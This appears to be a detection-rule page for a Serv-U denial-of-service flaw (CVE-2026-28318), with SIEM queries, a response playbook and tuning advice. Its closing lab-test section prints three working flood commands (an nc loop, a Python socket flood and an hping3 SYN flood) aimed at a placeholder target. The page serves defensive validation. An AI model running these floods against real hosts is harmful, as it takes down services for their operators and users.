Detect SolarWinds Serv-U Uncontrolled Resource Consumption (CVE-2026-28318) in Microsoft Sentinel
Detects exploitation of CVE-2026-28318, an uncontrolled resource consumption vulnerability (CWE-400) in SolarWinds Serv-U. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog and allows attackers to exhaust server resources, leading to denial of service conditions. Detection focuses on abnormal connection patterns, resource exhaustion indicators, and anomalous request volumes targeting Serv-U services.
MITRE ATT&CK
- Tactic
- Impact
KQL Detection Query
let threshold_connections = 500;
let threshold_window = 5m;
let servu_ports = dynamic([21, 22, 990, 989, 443, 80]);
union DeviceNetworkEvents, CommonSecurityLog
| where TimeGenerated >= ago(1h)
| where (
(Type == "DeviceNetworkEvents" and (RemotePort in (servu_ports) or LocalPort in (servu_ports)))
or (Type == "CommonSecurityLog" and DeviceProduct has_any ("Serv-U", "ServU"))
)
| summarize ConnectionCount = count(), DistinctRemoteIPs = dcount(RemoteIP), BytesSent = sum(SentBytes), BytesReceived = sum(ReceivedBytes) by bin(TimeGenerated, threshold_window), DeviceName, LocalPort
| where ConnectionCount > threshold_connections
| extend Severity = case(ConnectionCount > 2000, "Critical", ConnectionCount > 1000, "High", "Medium")
| project TimeGenerated, DeviceName, LocalPort, ConnectionCount, DistinctRemoteIPs, BytesSent, BytesReceived, Severity
| order by ConnectionCount descDetects abnormal connection volume to SolarWinds Serv-U ports indicative of resource exhaustion exploitation. Monitors DeviceNetworkEvents and CommonSecurityLog for connection spikes exceeding threshold within rolling 5-minute windows.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate bulk file transfer operations from authorized clients causing high connection counts
- Scheduled backup jobs that open many simultaneous FTP/SFTP connections
- Load testing or capacity planning activities performed by IT teams
- Network scanners or vulnerability assessment tools run by security teams
Other platforms for CVE-2026-28318
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulated FTP Connection Flood to Serv-U (Linux)
Expected signal: Network flow logs showing 600+ connection attempts from the test host to port 21 of the target within a short window; firewall logs recording SYN flood or connection rate spike; Serv-U application logs showing session limit errors or connection refused messages
- Test 2SFTP Connection Exhaustion via Python (Linux/macOS)
Expected signal: Process telemetry showing python3 spawning ~600 concurrent TCP connections to port 22; network visibility tools showing elevated socket counts; target host showing increased memory/thread usage for ServUDaemon.exe
- Test 3FTPS Connection Exhaustion via hping3 (Linux)
Expected signal: Network IDS/IPS alerts for SYN flood to port 990; firewall logs recording high packet rate from test source IP; Serv-U host showing elevated network interrupt handling load; Windows Performance Monitor showing ServUDaemon.exe handle/connection count spike
References (4)
Response Playbook
Triage
- Verify the affected host is running SolarWinds Serv-U and check its version against the vendor advisory (patched in Serv-U 15.5.4 Hotfix 1 per release notes). Confirm whether the host is internet-facing or accessible from untrusted networks.
- Examine connection logs and network flow data for the Serv-U host. Identify source IPs generating anomalous connection volumes (>500 connections in 5 minutes) to FTP (21), FTPS (990/989), or SFTP (22) ports. Determine whether traffic originates from a single IP, a small subnet, or is distributed.
- Check Serv-U process resource utilization (CPU, memory, file descriptors/handles, thread count) on the affected host. Elevated resource consumption, service crashes, or degraded response times corroborate active exploitation of CVE-2026-28318.
- Review Serv-U application logs (default: C:\ProgramData\SolarWinds\Serv-U\Logs\) for error patterns consistent with resource exhaustion: connection refused errors, session limit exceeded messages, or abnormal authentication attempt volumes.
Containment
- If active exploitation is confirmed, isolate the Serv-U host from the network using host-based firewall rules or EDR network containment. Apply rate-limiting or IP-based blocks at the perimeter firewall for the identified attacking source IPs or CIDR ranges. Restrict Serv-U ports to known-good client IP ranges if operationally feasible.
- Apply the vendor patch (Serv-U 15.5.4 Hotfix 1) immediately if not already applied. Follow the SolarWinds advisory at https://www.solarwinds.com/trust-center/security-advisories/cve-2026-28318 for official patch instructions. If patching is not immediately possible, configure connection rate limits within Serv-U's settings or use a WAF/reverse proxy to throttle inbound connections.
Evidence Collection
- Capture Serv-U application logs, Windows Event Logs (System, Application, Security), and network flow records (NetFlow/IPFIX or firewall session logs) for the time window surrounding the alert. Preserve logs before any service restart that might rotate them.
- Collect a memory dump or process snapshot of the Serv-U service (ServUDaemon.exe) if the process is still running. Record open handles, active thread count, and socket states using tools such as Process Explorer, handle.exe, or netstat -ano to document the resource exhaustion state.
Escalation Criteria
- !Escalate to incident response if the Serv-U service is completely unavailable (successful DoS) or if there is evidence of lateral movement from the Serv-U host, suggesting the attacker leveraged the DoS as a distraction or combined it with a secondary exploitation path.
- !Escalate if the attacking source IPs are linked to known threat actor infrastructure, if multiple Serv-U hosts across the environment are simultaneously targeted, or if the organization stores sensitive data (PII, financial, or regulated data) accessible through Serv-U that may have been exfiltrated prior to or during the DoS event.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Serv-U application logs at C:\ProgramData\SolarWinds\Serv-U\Logs\ (Windows) containing connection session records, error messages, and authentication events timestamped to the attack window - >
Windows Event Log entries in the System and Application channels for ServUDaemon.exe process crashes, service stop/start events (Event IDs 7034, 7036), or resource limit errors - >
Network flow records (NetFlow, PCAP, or firewall session table exports) capturing source IPs, destination ports, packet rates, and session durations for Serv-U service ports during the attack window - >
Process performance counters or ETW traces showing CPU, memory, handle count, and thread count spikes for ServUDaemon.exe correlated with the alert timestamp
Tuning Guidance
Adjust the connection count threshold (default 500 per 5 minutes) based on your organization's baseline Serv-U usage. Run the hunting query in observe-only mode for 5–7 days to establish a normal peak connection rate, then set the alert threshold at 2–3x that baseline. If Serv-U serves a small number of known client IPs, consider adding an allowlist exclusion for those IPs and lowering the threshold for all others. For environments with multiple Serv-U instances behind a load balancer, alert on per-backend-node connection counts rather than aggregate counts. Suppress alerts during known maintenance windows when backup jobs generate connection bursts.
Hunting Queries
Threat hunt query to identify sustained moderate-volume connection patterns against Serv-U that may indicate low-and-slow resource exhaustion attempts below the primary alert threshold. Useful for detecting stealthy attackers who throttle connection rates to avoid detection.
DeviceNetworkEvents
| where TimeGenerated >= ago(24h)
| where RemotePort in (21, 22, 990, 989) or LocalPort in (21, 22, 990, 989)
| where InitiatingProcessFileName has_any ("ServUDaemon.exe", "ServU")
| summarize ConnectionsPerMinute = count() by bin(TimeGenerated, 1m), DeviceName, RemoteIP, RemotePort
| where ConnectionsPerMinute > 100
| order by ConnectionsPerMinute descindex=* (sourcetype="solarwinds:servu" OR process_name="ServUDaemon.exe")
| bin _time span=1m
| stats count AS conn_per_min BY _time, src_ip, dest_port
| where conn_per_min > 100
| sort -conn_per_minAtomic Red Team Tests
Simulates a resource exhaustion attack against a Serv-U FTP service by rapidly opening many TCP connections to port 21 without completing the FTP handshake, exhausting connection slots.
Command
for i in $(seq 1 600); do bash -c 'echo quit | timeout 10 nc -w 5 TARGET_SERVU_IP 21 &'; done; waitCleanup
pkill -f 'nc -w 5 TARGET_SERVU_IP 21' 2>/dev/null; echo 'Cleanup complete'Expected Telemetry
Network flow logs showing 600+ connection attempts from the test host to port 21 of the target within a short window; firewall logs recording SYN flood or connection rate spike; Serv-U application logs showing session limit errors or connection refused messages
Expected Detection
KQL/SPL/Chronicle queries should fire when connection_count exceeds 500 threshold; CrowdStrike NetworkConnectIP4 events for the test host should spike above threshold; QRadar should correlate events and trigger the AQL rule
Uses Python's socket library to open many concurrent connections to Serv-U SFTP port (22) in a lab environment, simulating CWE-400 resource exhaustion.
Command
python3 -c "
import socket, threading, time
def flood(target, port, count):
socks = []
for _ in range(count):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((target, port))
socks.append(s)
except: pass
time.sleep(30)
[s.close() for s in socks]
threads = [threading.Thread(target=flood, args=('TARGET_SERVU_IP', 22, 50)) for _ in range(12)]
[t.start() for t in threads]
[t.join() for t in threads]
"Cleanup
Kill the Python process: pkill -f 'python3 -c' 2>/dev/nullExpected Telemetry
Process telemetry showing python3 spawning ~600 concurrent TCP connections to port 22; network visibility tools showing elevated socket counts; target host showing increased memory/thread usage for ServUDaemon.exe
Expected Detection
Elastic EQL sequence rule should fire on 500+ connections within 5m window; Sumo Logic and QRadar queries should aggregate and alert; EDR tools should flag anomalous outbound connection volume from python3
Uses hping3 to send a high volume of SYN packets to Serv-U FTPS port (990), simulating a connection flood that triggers resource exhaustion on the target Serv-U service in a controlled lab environment.
Command
sudo hping3 -S -p 990 --flood -c 1000 TARGET_SERVU_IPCleanup
Press Ctrl+C to stop hping3 if not already terminated; verify no residual hping3 processes: pgrep hping3 && pkill hping3Expected Telemetry
Network IDS/IPS alerts for SYN flood to port 990; firewall logs recording high packet rate from test source IP; Serv-U host showing elevated network interrupt handling load; Windows Performance Monitor showing ServUDaemon.exe handle/connection count spike
Expected Detection
All SIEM queries should detect the connection spike to port 990 (FTPS control); Chronicle YARA-L rule should match on >500 NETWORK_CONNECTION events within 5m; CrowdStrike should surface the hping3 process with anomalous NetworkConnectIP4 event volume